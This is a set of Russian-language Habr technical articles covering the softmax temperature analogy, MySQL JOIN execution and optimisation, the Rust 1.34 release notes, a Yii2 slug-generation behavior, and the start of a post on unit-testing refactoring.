А при чём тут температура, можете спросить вы. Ответ — это отсылка к [распределению Больцмана](https://en.wikipedia.org/wiki/Boltzmann_distribution), используемому в термодинамике. Это распределение описывает вероятность состояний, в которых находится система (например, несколько молекул газа, запертые в бутылке), в зависимости от температуры системы и уровня потенциальной энергии, соответствующего этим состояниям. При переходе из высокоэнергетического состояния в низкоэнергетическое энергия высвобождается (превращается в тепло), а наоборот — тратится. Поэтому система чаще будет оказываться в состояниях с низкой энергией (в них проще попасть, сложнее покинуть, ~~и невозможно забыть~~), но чем выше температура, тем чаще система всё-таки будет запрыгивать и в высокоэнергетические состояния тоже. Больцман, собственно, описал эти закономерности формулой, и получил как раз таки `p=softmax(-energy/t)`.
Я уже писал в своём бложике об энтропии ([1](https://vk.com/wall-130785301_177),[2](https://vk.com/wall-130785301_179),[3](https://vk.com/wall-130785301_180)), но толком не объяснял, каким образом энтропия статистическая связана с понятием энтропии в физике. А вот собственно через распределение Больцмана они, кажется, и связаны. Но тут уж я лучше вас отошлю читать труды по физике, а сам пойду дальше NLP заниматься. Низких вам перплексий!
P.S. Этот текст был написан под температурой около 38°, так что не удивляйтесь, если он чуть более рандомен, чем вы бы ожидали `¯\_(ツ)_/¯` | https://habr.com/ru/post/467189/ | null | ru | null |
# MySQL и JOINы
Поводом для написания данной статьи послужили некоторые дебаты в одной из групп linkedin, связанной с MySQL, а также общение с коллегами и хабролюдьми :-)
В данной статье хотел написать что такое вообще JOINы в MySQL и как можно оптимизировать запросы с ними.
#### Что такое JOINы в MySQL
В MySQL термин JOIN используется гораздо шире, чем можно было бы предположить. Здесь JOINом может называться не только запрос объединяющий результаты из нескольких таблиц, но и запрос к одной таблице, например, SELECT по одной таблице — это тоже джоин.
Все потому, что алгоритм выполнения джоинов в MySQL реализован с использованием вложенных циклов. Т.е. каждый последующий JOIN это дополнительный вложенный цикл. Чтобы выполнить запрос и вернуть все записи удовлетворяющие условию MySQL выполняет цикл и пробегает по записям первой таблицы параллельно проверяя соответствия условиям описанных в теле запроса, когда находятся записи, удовлетворяющие условиям — во вложенном цикле по второй таблице ищутся записи соответствующие первым и удовлетворяющие условиям проверки и т.д.
Прмер обычного запроса с INNER JOIN
> `SELECT
>
> \*
>
> FROM
>
> Table1
>
> INNER JOIN
>
> Table2 ON P1(Table1,Table2)
>
> INNER JOIN
>
> Table3 ON P2(Table2,Table3)
>
> WHERE
>
> P(Table1,Table2,Table3).
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
где Р — условия склейки таблиц и фильтры в WHERE условии.
Можно представить такой псевдокод выполнения такого запроса.
> `FOR each row t1 in Table1 {
>
> IF(P(t1)) {
>
> FOR each row t2 in Table2 {
>
> IF(P(t2)) {
>
> FOR each row t3 in Table3 {
>
> IF P(t3) {
>
> t:=t1||t2||t3; OUTPUT t;
>
> }
>
> }
>
> }
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
где конструкция t1||t2||t3 означает конкатенацию столбцов из разных таблиц.
Если в запросе встречаются OUTER JOINs, например, LEFT OUTER JOIN
> `SELECT
>
> \*
>
> FROM
>
> Table1
>
> LEFT JOIN
>
> (
>
> Table2 LEFT JOIN Table3 ON P2(Table2,Table3)
>
> )
>
> ON P1(Table1,Table2)
>
> WHERE
>
> P(Table1,Table2,Tabke3)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
то алгоритм выполнения этого запроса MySQL будет выглядеть как-то так
> `FOR each row t1 in T1 {
>
> BOOL f1:=FALSE;
>
> FOR each row t2 in T2 such that P1(t1,t2) {
>
> BOOL f2:=FALSE;
>
> FOR each row t3 in T3 such that P2(t2,t3) {
>
> IF P(t1,t2,t3) {
>
> t:=t1||t2||t3; OUTPUT t;
>
> }
>
> f2=TRUE;
>
> f1=TRUE;
>
> }
>
> IF (!f2) {
>
> IF P(t1,t2,NULL) {
>
> t:=t1||t2||NULL; OUTPUT t;
>
> }
>
> f1=TRUE;
>
> }
>
> }
>
> IF (!f1) {
>
> IF P(t1,NULL,NULL) {
>
> t:=t1||NULL||NULL; OUTPUT t;
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Более подробно почитать об этом можно здесь — [dev.mysql.com/doc/refman/5.1/en/nested-joins.html](http://dev.mysql.com/doc/refman/5.1/en/nested-joins.html)
Итак, как мы видим, JOINы это просто группа вложенных циклов. Так почему же в MySQL и UNION и SELECT и запросы с SUBQUERY тоже джоины?
MySQL оптимизатор старается приводить запросы к тому виду к которому ему удобней обрабатывать и выполнять запросы по стандартной схеме.
С SELECT все понятно — просто цикл без вложенных циклов. Все UNION выполняются как отдельные запросы и результаты складываются во временную таблицу, и потом MySQL работает уже с этой таблицей, т.е. проходясь циклом по записям в ней. С Subquery та же история.
Приводя все к одному шаблону, например, МySQL переписывает все RIGHT JOIN запросы на LEFT JOIN эквиваленты.
Но стратегия выполнения запросов через вложенные циклы накладывает некоторые ограничения, например, в связи с такой схемой MySQL не поддерживает выполнение [FULL OUTER JOIN](http://en.wikipedia.org/wiki/Join_(SQL)#Full_outer_join) запросов.
Но результат такого запроса можно получить с помощью UNION двух запросов на LEFT JOIN и на RIGHT JOIN
Пример самого запроса можно посмотреть по ссылке на вики.
#### План выполнения JOIN запросов
В отличии от других СУРБД MySQL не генерирует байткод для выполнения запроса, вместо этого MySQL генерирует список инструкций в древовидной форме, которых придерживается engine выполнения запроса выполняя запрос.
Это дерево имеет следующий вид и имеет название «left-deep tree»
В отличии от сбалансированных деревьев (Bushy plan), которые применяются в других СУБД (например Oracle)
#### JOIN оптимизация
Теперь перейдем к самому интересному — к оптимизации джоинов.
MySQL оптимизатор, а именно та его часть, которая отвечает за оптимизацию JOIN-ов выбирает порядок в котором будет производиться склейка имеющихся таблиц, т.к. можно получить один и тот же результат (датасет) при различном порядке таблиц в склейке. MySQL оптимизатор оценивает стоимость различных планов и выбирает с наименьшей стоимостью. Единицей оценки является операция единичного чтения страницы данных размером в 4 килобайта из произвольного места на диске.
Для выбранного плана можно узнать стоимость путем выполнения команды
SHOW SESSION STATUS LIKE 'Last\_query\_cost';
после выполнения интересующего нас запроса. Переменная Last\_query\_cost является сессионной переменной. Описание переменной [Last\_query\_cost](http://dev.mysql.com/doc/refman/5.1/en/server-status-variables.html#option_mysqld_Last_query_cost) в MySQL документации можно найти здесь — [dev.mysql.com/doc/refman/5.1/en/server-status-variables.html#option\_mysqld\_Last\_query\_cost](http://dev.mysql.com/doc/refman/5.1/en/server-status-variables.html#option_mysqld_Last_query_cost)
Оценка основана на статистике: количество страниц памяти, занимаемое таблицей и/или индексами для этой таблицы, cardinality (число уникальных значений) индексов, длинна записей и индексов, их распределение и т.д. Во время своей оценки оптимизатор не рассчитывает на то, что какие-то части попадут в кеш, оптимизатор предполагает, что каждая операция чтения это обращение к диску.
Иногда анализатор-оптимизатор не может проанализировать все возможные планы выполнения и выбирает неправильный. Например, если у нас INNER JOIN по 3м таблицам, то возможных вариантов у анализатора — 3! = 6, а если у нас склейка по 10 таблицам, то тут возможных вариантов уже 10! = 3628800… MySQL не может проанализировать столько вариантов, поэтому в таком случае он использует алгоритм "[жадного](http://ru.wikipedia.org/wiki/%D0%96%D0%B0%D0%B4%D0%BD%D1%8B%D0%B9_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC)" поиска.
И вот как раз для решения данной проблемы, нам может пригодиться конструкция STRAIGHT\_JOIN. На самом деле я противник подобных хаков как FORCE INDEX и STRAIGH\_JOIN, точней против их бездумного использования везде где только можно и нельзя. В данном случае — можно :-) Выяснив (либо экспериментальным путем делая запросы с STRAIGH\_JOIN и оценивая Last\_query\_cost, либо эмпирическим путем) нужный порядок джоинов можно переписать запрос с таблицами в соответствующем порядке и добавить STRAIGH\_JOIN к данному запросу, таким образом мы сразу убьем двух зайцев — определим правильный план выполнения запроса (это главный заяц) и сэкономим время на стадии «Statistic» (Все стадии выполнения запроса можно посмотреть установив профайлинг запросов командой SET PROFILING =1, я описывал это в своей предыдущей статье по теме [профайлинга запросов](http://habrahabr.ru/blogs/mysql/39818/) в MySQL )
**Но не стоит применять этот хак ко всем запросам, расчитывая произвести оптимизацию на спичках и сэкономить время на составление плана выполнения запроса оптимизатором и добавлять STRAIGH\_JOIN ко всем запросам с джоинами**, т.к. данные меняются и склейка, которая оптимальна сейчас может перестать быть оптимальной со временем, и тогда запросы начнуть очень сильно лагать.
Также, как уже говорилось выше, результаты джоинов помещаются во временные таблицы, поэтому зачастую уместно применять «derived table» в котором мы накладываем все необходимые нам условия на выборку, а также указываем LIMIT и порядок сортировки. В данном случае мы избавимся от избыточности данных во временной таблице, а также проведем сортировку на раннем этапе (по результату одной выборки, а не финальной склейки, что уменьшит размеры записей которые будут сортироваться).
Стандартный пример подхода описанного выше. Простая выборка для отношения много к многим: новости и теги к ним.
> `SELECT
>
> t.tid, t.description, n.nid, n.title, n.extract, n.modtime
>
> FROM
>
> (
>
> SELECT
>
> n.nid
>
> FROM
>
> news n
>
> WHERE
>
> n.type = 1321
>
> AND n.published = 1
>
> AND status = 1
>
> ORDER BY
>
> n.modtime DESC
>
> LIMIT
>
> 200
>
> ) as news
>
> INNER JOIN
>
> news n ON n.nid = news.nid
>
> INNER JOIN
>
> news\_tag nt ON n.nid = nt.nid
>
> INNER JOIN
>
> tags t ON nt.tid = t.tid
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ну и на последок небольшая задачка, которую я иногда задаю на собеседованиях :-)
Есть новостной блоггерный сайт. Есть такие сущности как новости и комментарии к ним.
Задача — нужно написать запрос, который выводит список из 10 новостей определенного типа (задается пользователем) отсортированные по времени издания в хронологическом порядке, а также к каждой из этих новостей показать не более 10 последних коментариев, т.е. если коментариев больше — показываем только последние 10.
Все нужно сделать одним запросом. Да, это, может, и не самый лучший способ, и вы вольны предложить другое решение :-) | https://habr.com/ru/post/44807/ | null | ru | null |
# Выпуск Rust 1.34
Привет, Хабр! Представляю вашему вниманию перевод статьи ["The Rust Release Team "Announcing Rust 1.34.0"](https://blog.rust-lang.org/2019/04/11/Rust-1.34.0.html).
Команда разработчиков Rust рада сообщить о выпуске новой версии Rust, 1.34.0. Rust — это язык программирования, который даёт возможность каждому создавать надёжное и эффективное программное обеспечение.
Если у вас установлена предыдущая версия Rust с помощью rustup, то для обновления Rust до версии 1.34.0 вам достаточно выполнить:
```
$ rustup update stable
```
Если у вас ещё не установлен rustup, вы можете [установить его](https://www.rust-lang.org/install.html) с соответствующей страницы нашего веб-сайта.
Что вошло в стабильную версию 1.34.0
------------------------------------
Основное улучшение этого выпуска это поддержка альтернативных cargo-реестров. Релиз также включает поддержку `?` в документационных тестах, некоторые улучшения в `#[attribute(...)]` и стабилизацию `TryFrom`. Читайте далее о ключевых вещах или можете посмотреть [подробные примечания к выпуску](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1340-2019-04-11) для дополнительной информации.
### Альтернативные `cargo` реестры
Ещё до версии 1.0 у Rust был публичный реестр, [crates.io](http://crates.io/). Люди публиковали крейты при помощи `cargo publish` и легко подключали эти крейты в секции `[dependencies]` в `Cargo.toml`.
Однако не все *хотят* публиковать свои крейты на crates.io. Люди, поддерживающие проекты с закрытым исходным кодом, не могли использовать crates.io, и вместо этого им приходилось указывать `git` или `path` в зависимостях. Здесь нет ничего такого для небольших проектов, но если в вашей большой организации есть много крейтов с закрытым кодом, вы теряете преимущества поддержки версионирования, которое есть в crates.io.
Начиная с этого выпуска, Cargo может поддерживать альтернативные реестры. Эти реестры сосуществуют с crates.io, так что вы можете писать программы, которые зависят и от crates.io, и от вашего реестра. Однако крейты на crates.io не могут зависеть от внешнего реестра.
Для использования альтернативных реестров, вы должны добавить следующие строки в `.cargo/config`. Этот файл может быть в вашей домашней директории (`~/.cargo/config`) или быть в директории пакета.
```
[registries]
my-registry = { index = "https://my-intranet:8080/git/index" }
```
Добавить зависимость из альтернативного реестра легко. Когда вы указываете зависимость в `Cargo.toml`, используйте ключ `registry` чтобы Cargo знал что вы хотите получать крейт из альтернативного реестра:
```
[dependencies]
other-crate = { version = "1.0", registry = "my-registry" }
```
Как автор крейта, если вы хотите публиковать ваш крейт в альтернативном реестре, первым делом вам надо сохранить аутентификационный токен в `~/.cargo/credentials` при помощи команды `cargo login`:
```
cargo login --registry=my-registry
```
Далее вы можете использовать флаг `--registry` для указания реестра, в который будет публиковаться крейт:
```
cargo publish --registry=my-registry
```
О том, как вы можете запустить свой собственный реестр, вы можете найти в [документации](https://doc.rust-lang.org/nightly/cargo/reference/registries.html#running-a-registry).
### `?` в документационных тестах
В [RFC 1937](https://rust-lang.github.io/rfcs/1937-ques-in-main.html) было предложено добавить поддержку использования оператора `?` в `fn main()`, `#[test]` функциях и документационных тестах, позволяя им вернуть `Option` или `Result` где вариант с ошибкой приводит к ненулевому коду завершения в случае `fn main()` или упавшему тесту в случае тестов.
Поддержка в `fn main()` и `#[test]` была реализована [достаточно давно](https://blog.rust-lang.org/2018/05/10/Rust-1.26.html#main-can-return-a-result). Однако поддержка в документационных тестах была ограничена тестами, в которых явно присутствовал `fn main()`.
В этом выпуске добавлена полная поддержка `?` в документационных тестах. Теперь вы можете написать в ваших документационных тестах такое:
```
/// ```rust
/// use std::io;
/// let mut input = String::new();
/// io::stdin().read_line(&mut input)?;
/// # Ok::<(), io:Error>(())
/// ```
fn my_func() {}
```
Внизу документационного теста вам всё равно надо указывать тип ошибки, который будет использован.
### Поддержка произвольного потока токенов в пользовательских атрибутах
[Процедурные макросы](https://blog.rust-lang.org/2018/12/21/Procedural-Macros-in-Rust-2018.html) в Rust могут определять пользовательские атрибуты, которые они используют. До текущего момента эти атрибуты были ограничены деревьями путей и литералами в соответствии со следующим синтаксисом:
```
#[foo(bar)]
#[foo = "bar"]
#[foo = 0]
#[foo(bar = true)]
#[foo(bar, baz(quux, foo = "bar"))]
```
В отличии от процедурных макросов, эти вспомогательные атрибуты не могли принимать произвольный поток токенов в разделителе, из-за чего вы не могли написать `#[range(0..10)]` или `#[bound(T: MyTrait)]`. Крейты процедурных макросов вместо этого использовали строки для синтаксиса, подобного такому, например `#[range("0..10")]`.
С этим выпуском, пользовательские атрибуты `#[attr($tokens)]` [позволяют использовать](https://github.com/rust-lang/rust/pull/57367) произвольные токены в `$tokens`, приводя их в соответствии с макросами. Если вы автор крейта процедурного макроса, пожалуйста проверьте используются ли строки в синтаксисе ваших пользовательских атрибутах и можно ли их заменить на поток токенов.
### `TryFrom` и `TryInto`
Трейты [`TryFrom`](https://doc.rust-lang.org/std/convert/trait.TryFrom.html) и [`TryInto`](https://doc.rust-lang.org/std/convert/trait.TryInto.html) были стабилизированы для поддержки ошибок при преобразовании типов.
Например, [`from_be_bytes`](https://doc.rust-lang.org/std/primitive.u32.html#method.from_be_bytes) и связанные методы целочисленных типов получают массив, но данные часто читаются через слайсы. Ручное преобразование между слайсами и массивами утомительно. С новыми трейтами это возможно сделать в одну строку с `.try_into()`.
```
let num = u32::from_be_bytes(slice.try_into()?);
```
Для преобразований, которые не могут завершиться с ошибкой, таких как `u8` в `u32`, добавлен тип [`Infallible`](https://doc.rust-lang.org/std/convert/enum.Infallible.html). За счёт этого `TryFrom` автоматически реализуется для всего, что реализует трейт `From`. В будущем, мы надеемся сделать `Infallible` псевдонимом для [`типа !` (never)](https://github.com/rust-lang/rust/issues/35121).
### `fn before_exec` устарела в пользу `unsafe fn pre_exec`
В Unix-подобных системах функция [`CommandExt::before_exec`](https://doc.rust-lang.org/std/os/unix/process/trait.CommandExt.html#tymethod.before_exec) позволяла вам запланировать выполнение замыкания до вызова `exec`.
Данное замыкание выполнялось в контексте дочернего процесса после форка. Это означает, что ресурсы, такие как файловые дескрипторы и области памяти, могли быть продублированы. Другими словами, вы могли получить копию значения не `Copy` типа в разных процессах, в то время как оригинал оставался бы в родительском. [Это могло](https://github.com/rust-lang/rust/issues/39575#issuecomment-437658766) привести к неопределённому поведению и сломать [библиотеки, предполагающие отсутствие дублирования](https://github.com/rust-lang/rust/issues/39575#issuecomment-439645949).
Следовательно, функция `before_exec` должна быть помечена `unsafe`. В этом выпуске мы пометили `fn before_exec` устаревшей в пользу `unsafe fn pre_exec`. При вызове [`CommandExt::pre_exec`](https://doc.rust-lang.org/std/os/unix/process/trait.CommandExt.html#tymethod.pre_exec) вам необходимо убедиться, что замыкание не нарушает инварианты библиотеки создавая не валидные дубликаты. Если вы предоставляете библиотеку, которая находится в подобной `before_exec` ситуации, подумайте об устаревании и предоставьте альтернативу с `unsafe`.
### Стабилизация в библиотеках
В 1.34.0 расширен набор стабильных атомарных целочисленных знаковых и беззнаковых типов, начиная с 8 битных ([`AtomicU8`](https://doc.rust-lang.org/std/sync/atomic/struct.AtomicU8.html)) и заканчивая 64 битными.
[Ранее](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1280-2018-08-02) были стабилизированы ненулевые беззнаковые целые числа, такие как [`NonZeroU8`](https://doc.rust-lang.org/std/num/struct.NonZeroU8.html). Благодаря этому `Option` имеет такой же размер, как и `u8`. В этом выпуске стабилизированы знаковые версии, например [`NonZeroI8`](https://doc.rust-lang.org/std/num/struct.NonZeroI8.html).
Стабилизированы функции [`iter::from_fn`](https://doc.rust-lang.org/std/iter/fn.from_fn.html) и [`iter::successors`](https://doc.rust-lang.org/std/iter/fn.successors.html). Первая позволяет создать итератор из `FnMut() -> Option`. Чтобы итеративно получать элементы из вектора, вы теперь можете написать `from_fn(|| vec.pop())`. Тем временем вторая функция создаёт новый итератор, где каждый следующий элемент вычисляется на основе предыдущего.
Дополнительно, были стабилизированы следующие API:
* [Any::type\_id](https://doc.rust-lang.org/std/any/trait.Any.html#tymethod.type_id)
* [Error::type\_id](https://doc.rust-lang.org/std/error/trait.Error.html#method.type_id)
* [slice::sort\_by\_cached\_key](https://doc.rust-lang.org/std/primitive.slice.html#method.sort_by_cached_key)
* [str::escape\_debug](https://doc.rust-lang.org/std/primitive.str.html#method.escape_debug)
* [str::escape\_default](https://doc.rust-lang.org/std/primitive.str.html#method.escape_default)
* [str::escape\_unicode](https://doc.rust-lang.org/std/primitive.str.html#method.escape_unicode)
* [str::split\_ascii\_whitespace](https://doc.rust-lang.org/std/primitive.str.html#method.split_ascii_whitespace)
* [Instant::checked\_add](https://doc.rust-lang.org/std/time/struct.Instant.html#method.checked_add)
* [Instant::checked\_sub](https://doc.rust-lang.org/std/time/struct.Instant.html#method.checked_sub)
* [SystemTime::checked\_add](https://doc.rust-lang.org/std/time/struct.SystemTime.html#method.checked_add)
* [SystemTime::checked\_sub](https://doc.rust-lang.org/std/time/struct.SystemTime.html#method.checked_sub)
Для подробной информации смотрите [подробные примечания к выпуску](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1340-2019-04-11). | https://habr.com/ru/post/448366/ | null | ru | null |
# Создаем поведение (behavior) для Yii2
Часто, а на самом деле практически всегда, при создании сайта необходимо, чтобы страницы сайта открывались не по id сущности в базе, а по текстовому идентификатору, назовем его slug.
```
post/view/1 => post/view/testovaya-novost
```
(из url'а стоило бы убрать и view, но урок не о том)
Самым примитивным путем можно создать в таблице post поле slug, в модели Post соответственно появляется новый атрибут, в представление (view) добавляем новый input, в который ручками вбиваем slug.
```
php
use yii\helpers\Html;
use yii\widgets\ActiveForm;
/**
* @var yii\web\View $this
* @var common\models\Post $model
* @var yii\widgets\ActiveForm $form
*/
?
php $form = ActiveForm::begin(); ?
= $form-field( $model, 'name' )->textInput( [ 'maxlength' => 255 ] ) ?>
= $form-field( $model, 'slug' )->textInput( [ 'maxlength' => 255 ] ) ?>
= $form-field( $model, 'content' )->textarea( [ 'rows' => 6 ] ) ?>
= Html::submitButton( $model-isNewRecord ? Yii::t( 'app', 'Create' ) : Yii::t( 'app', 'Update' ), [ 'class' => $model->isNewRecord ? 'btn btn-success' : 'btn btn-primary' ] ) ?>
php ActiveForm::end(); ?
```
Но ручками это делать не всегда интересно (да кого я обманываю, вообще неинтересно), поэтому мы дописываем в модель методы, которые при сохранении модели генерируют slug автоматически из name, проверяют его уникальность в таблице (ведь мы по slug'у будем извлекать post из базы, а, значит, slug не может быть не уникальным), ну и, возможно, транслитерируем его (тестовая-новость => testovaya-novost) — это тоже может быть полезно.
Что ж, пишем, привязываемся к событию, тестируем — все работает. И тут при разработке сайта мы сталкиваемся с тем, что slug'и еще нужны в модели Page. А еще в каталоге для товара — пусть это будет модель Item. Можно пойти по пути наименьшего сопротивления — копипаста. Но…
В Yii существует такая вещь как поведения (behaviors) — функционал, позволяющий использовать одни и те же функции в различных моделях. Итак, напишем поведение для slug'ификации.
В нашей модели Post (она же \commoin\models\Post на всякий случай) подключаем еще не созданное поведение:
```
public function behaviors()
{
return [
'slug' => [
'class' => 'common\behaviors\Slug',
'in_attribute' => 'name',
'out_attribute' => 'slug',
'translit' => true
]
];
}
```
Создали функцию behaviors, необходимую для подключения, прописали класс, в котором будем находиться поведение и передали в этот класс три атрибута:
1. in\_attribute — атрибут модели, из которого будет генерироваться slug (в разных моделях он может отличаться, например name или title)
2. out\_attribute — это атрибут соответственно slug'а (slug или alias)
3. translit — тут все понятно
При создании поведения был еще четвертый атрибут — unique, но потом я исключил этот функционал, т.к. очень редко нужно, чтобы slug был не уникальным.
Упомяну, что я использую структуру приложения yii2-app-advanced, то есть у меня есть папки backend и frontend, в которых лежат контроллеры и вьюшки, и папка common, в которой общие модели и поведения.
Создаем common/behaviors/Slug.php:
```
php
namespace common\behaviors;
use yii;
use yii\base\Behavior;
use yii\db\ActiveRecord;
class Slug extends Behavior
{
public $in_attribute = 'name';
public $out_attribute = 'slug';
public $translit = true;
public function events()
{
return [
ActiveRecord::EVENT_BEFORE_VALIDATE = 'getSlug'
];
}
}
```
Класс наследуем от yii\base\Behavior, прописываем три атрибута с начальными установками, создаем метод events, который привяжет поведение к какому-то событию при сохранении модели. Так как slug обычно необходим и может быть прописан в rules как required, то привяжем генерацию slug'а до валидации.
```
ActiveRecord::EVENT_BEFORE_VALIDATE => 'getSlug'
```
Теперь создадим метод getSlug:
```
public function getSlug( $event )
{
if ( empty( $this->owner->{$this->out_attribute} ) ) {
$this->owner->{$this->out_attribute} = $this->generateSlug( $this->owner->{$this->in_attribute} );
} else {
$this->owner->{$this->out_attribute} = $this->generateSlug( $this->owner->{$this->out_attribute} );
}
}
```
Сам объект модели передается в поведение как $this->owner. Таким образом slug нам будет доступен через обращение к $this->owner->slug или в нашем случае $this->owner->{$this->out\_attribute}, так как название атрибута slug'а передается в переменную $this->out\_attribute.
Делаем проверку пуст ли slug при сохранении и, если пуст, то генерируем его из name (заголовок записи). Если же не пуст, то обрабатываем поступивший slug.
```
private function generateSlug( $slug )
{
$slug = $this->slugify( $slug );
if ( $this->checkUniqueSlug( $slug ) ) {
return $slug;
} else {
for ( $suffix = 2; !$this->checkUniqueSlug( $new_slug = $slug . '-' . $suffix ); $suffix++ ) {}
return $new_slug;
}
}
```
В первой строке метода мы функцией slugify убираем ненужные символы и переводим в транслит, если нужно. Давайте сразу ее и рассмотрим:
```
private function slugify( $slug )
{
if ( $this->translit ) {
return Inflector::slug( TransliteratorHelper::process( $slug ), '-', true );
} else {
return $this->slug( $slug, '-', true );
}
}
```
Что такое транслит? Это передача национальных символов их аналогами в стандартной латинице. Большинство сниппетов, найденных в зарубежном интернете, очищают текст только от умляутов, крышечек и прочих символов ('À' => 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A',), то есть из «грязной» латиницы делают «чистую». Это делает и стандартный хелпер yii2 yii\helpers\Inflector::slug (кстати, за время создания поведения этот метод был несовместимо изменен — разработка над yii2 пока продолжается). В рунете же соответственно добавляют еще замену кириллицы на латиницу. Но хотелось бы создать максимально гибкую транслитерацию. В последней версии yii\helpers\Inflector::slug используется php-расширение intl, в том числе транслитерирующее даже китайские иероглифы, но, как я понимаю, по умолчанию оно не включено (php 5.5.6). Но у замечательного разработчика 2amigos, знакомого всем интересующимся yii, было найдено дополнение transliterator-helper (оно в свою очередь использует идеи из drupal'а, насколько я помню). Представляет оно некоторое количество php-файлов, в которых описаны большинство символов и их замена в латинице.
Добавляем в composer.json зависимость `"2amigos/transliterator-helper": "2.0.*"`, обновляемся и теперь нам доступен dosamigos\helpers\TransliteratorHelper:
```
return Inflector::slug( TransliteratorHelper::process( $slug ), '-', true );
```
Транслитерируем, очищаем от неалфавитных символов, пробелы заменяем на черточку "-".
Если же транслит нам не нужен, то:
```
return $this->slug( $slug, '-', true );
```
Метод slug (урезанная версия yii\helpers\Inflector::slug без транлитерации):
```
private function slug( $string, $replacement = '-', $lowercase = true )
{
$string = preg_replace( '/[^\p{L}\p{Nd}]+/u', $replacement, $string );
$string = trim( $string, $replacement );
return $lowercase ? strtolower( $string ) : $string;
}
```
Вернемся к generateSlug:
```
private function generateSlug( $slug )
{
$slug = $this->slugify( $slug );
if ( $this->checkUniqueSlug( $slug ) ) {
return $slug;
} else {
for ( $suffix = 2; !$this->checkUniqueSlug( $new_slug = $slug . '-' . $suffix ); $suffix++ ) {}
return $new_slug;
}
}
```
Второй строчкой мы проверяем slug на уникальность в базе. Напомню, что неуникальный slug нам не нужен, так как мы будем по нему извлекать данные из таблицы.
```
private function checkUniqueSlug( $slug )
{
$pk = $this->owner->primaryKey();
$pk = $pk[0];
$condition = $this->out_attribute . ' = :out_attribute';
$params = [ ':out_attribute' => $slug ];
if ( !$this->owner->isNewRecord ) {
$condition .= ' and ' . $pk . ' != :pk';
$params[':pk'] = $this->owner->{$pk};
}
return !$this->owner->find()
->where( $condition, $params )
->one();
}
```
Первичный ключ у нас теоритически может быть и не id, поэтому находим его функцией primaryKey(). Дальше делаем запрос в таблицу на предмет существования такого slug'а. Если же запись не новая, а мы делаем update (!$this->owner->isNewRecord), то slug уже может существовать и делаем исключение данного id:
```
$condition .= ' and ' . $pk . ' != :pk';
```
Функция возвращает true, если slug уникален, и false, если нет. Дальше:
```
if ( $this->checkUniqueSlug( $slug ) ) {
return $slug;
} else {
for ( $suffix = 2; !$this->checkUniqueSlug( $new_slug = $slug . '-' . $suffix ); $suffix++ ) {}
return $new_slug;
}
```
Если slug уникален, мы его возвращаем, присваиваем атрибуту модели и сохраняем модель в базу. Если же не уникален, то добавим цифровой суффикс testovaya-novost-2
```
for ( $suffix = 2; !$this->checkUniqueSlug( $new_slug = $slug . '-' . $suffix ); $suffix++ ) {}
```
Методом перебора находим первый свободный суффикс и добавляем его к slug'у. Решение подсмотрено в WordPress, но мне не нравится, что для каждого суффикса мы делаем по запросу, соответственно при занятых testovaya-novost, testovaya-novost-2, testovaya-novost-3, testovaya-novost-4, testovaya-novost-5 нам нужно будет сделать 6 запросов для проверки уникальности. Если кто может предложить лучшее решение, буду благодарен.
Итак, slug сгенирован, передан в модель, сохранен в базу, а получившееся поведение мы используем в других моделях.
**Полный текст поведения:**
```
php
namespace common\behaviors;
use dosamigos\helpers\TransliteratorHelper;
use yii;
use yii\base\Behavior;
use yii\db\ActiveRecord;
use yii\helpers\Inflector;
class Slug extends Behavior
{
public $in_attribute = 'name';
public $out_attribute = 'slug';
public $translit = true;
public function events()
{
return [
ActiveRecord::EVENT_BEFORE_VALIDATE = 'getSlug'
];
}
public function getSlug( $event )
{
if ( empty( $this->owner->{$this->out_attribute} ) ) {
$this->owner->{$this->out_attribute} = $this->generateSlug( $this->owner->{$this->in_attribute} );
} else {
$this->owner->{$this->out_attribute} = $this->generateSlug( $this->owner->{$this->out_attribute} );
}
}
private function generateSlug( $slug )
{
$slug = $this->slugify( $slug );
if ( $this->checkUniqueSlug( $slug ) ) {
return $slug;
} else {
for ( $suffix = 2; !$this->checkUniqueSlug( $new_slug = $slug . '-' . $suffix ); $suffix++ ) {}
return $new_slug;
}
}
private function slugify( $slug )
{
if ( $this->translit ) {
return Inflector::slug( TransliteratorHelper::process( $slug ), '-', true );
} else {
return $this->slug( $slug, '-', true );
}
}
private function slug( $string, $replacement = '-', $lowercase = true )
{
$string = preg_replace( '/[^\p{L}\p{Nd}]+/u', $replacement, $string );
$string = trim( $string, $replacement );
return $lowercase ? strtolower( $string ) : $string;
}
private function checkUniqueSlug( $slug )
{
$pk = $this->owner->primaryKey();
$pk = $pk[0];
$condition = $this->out_attribute . ' = :out_attribute';
$params = [ ':out_attribute' => $slug ];
if ( !$this->owner->isNewRecord ) {
$condition .= ' and ' . $pk . ' != :pk';
$params[':pk'] = $this->owner->{$pk};
}
return !$this->owner->find()
->where( $condition, $params )
->one();
}
}
```
Код подключения поведения дан выше. А пример транслитерации:
```
тест Тест й test 我爱 中文 Ψ ᾉ Ǽ ß Ц => test-test-y-test-wo-ai-zhong-wen-ps-a-ae-ss-c
```
Ссылки:
* [Официальный сайт фреймворка Yii](http://yiiframework.com)
* [Русскоязычное сообщество](http://yiiframework.ru)
* [Репозиторий на github yii2](https://github.com/yiisoft/yii2)
* [Написанная на данный момент документация к версии 2](https://github.com/yiisoft/yii2/tree/master/docs/guide) | https://habr.com/ru/post/208328/ | null | ru | null |
# Рефакторинг кода для unit тестирования
> Количество дураков уменьшается, но качество их растет.
>
> ***Михаил Генин***
>
>
### Цель
Цель статьи - показать как можно решить проблему при написании юнит тестов, когда в коде есть зависимости на внешний ресурс (база данных/сеть/файловая система).
Введение
--------
Хотел бы опубликовать статью о unit тестировании из [своего блога](https://blowin.github.io/blog/posts/2022/10/%D1%80%D0%B5%D1%84%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D0%BD%D0%B3-%D0%BA%D0%BE%D0%B4%D0%B0-%D0%B4%D0%BB%D1%8F-unit-%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F/).
